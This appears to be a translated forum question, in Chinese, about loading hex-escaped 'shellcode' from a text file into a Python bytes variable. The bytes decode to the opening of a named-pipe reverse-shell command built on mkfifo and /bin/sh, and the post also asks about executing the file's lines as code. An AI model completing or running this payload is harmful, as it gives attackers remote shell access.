我有一个包含 shellcode 的文本文件,如下所示:
buf += b"\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x73"
buf += b"\x35\x35\x20\x30\x3c\x2f\x74\x6d\x70\x2f\x73\x61\x6b"
buf += b"\x6e\x20\x7c\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x3e"
我想使用自动读取这个shellcode并将其归因于我的python脚本中的一个变量来使用它。我写了一个看起来像这样的脚本
myfile = open("shellcode.txt","rt")
a = myfile.read()
myfile.close()
a = a.replace('buf += b"','')
a = a.replace('buf = b""','')
a = a.replace('"','')
a = a.replace(' ','')
a = a.replace('\n','')
buf =""
buf = str.encode(a)
读取文件的内容,去掉我不需要的字符,只留下我需要的原始 shellcode 并将其转换为字节。
我也试过 bytes , bytearray ,buf += b"%s"%
(a)
所以每当我打印 buf 时,它会按原样输出 shellcode,但是当我复制 shellcode.txt 的内容并将其粘贴到 python 脚本和 print(buf) 时,它会打印 shellcode 的解码版本。
所以如果这个方法不起作用,我可以读取文件并执行它的每一行,就好像它是脚本的一部分一样?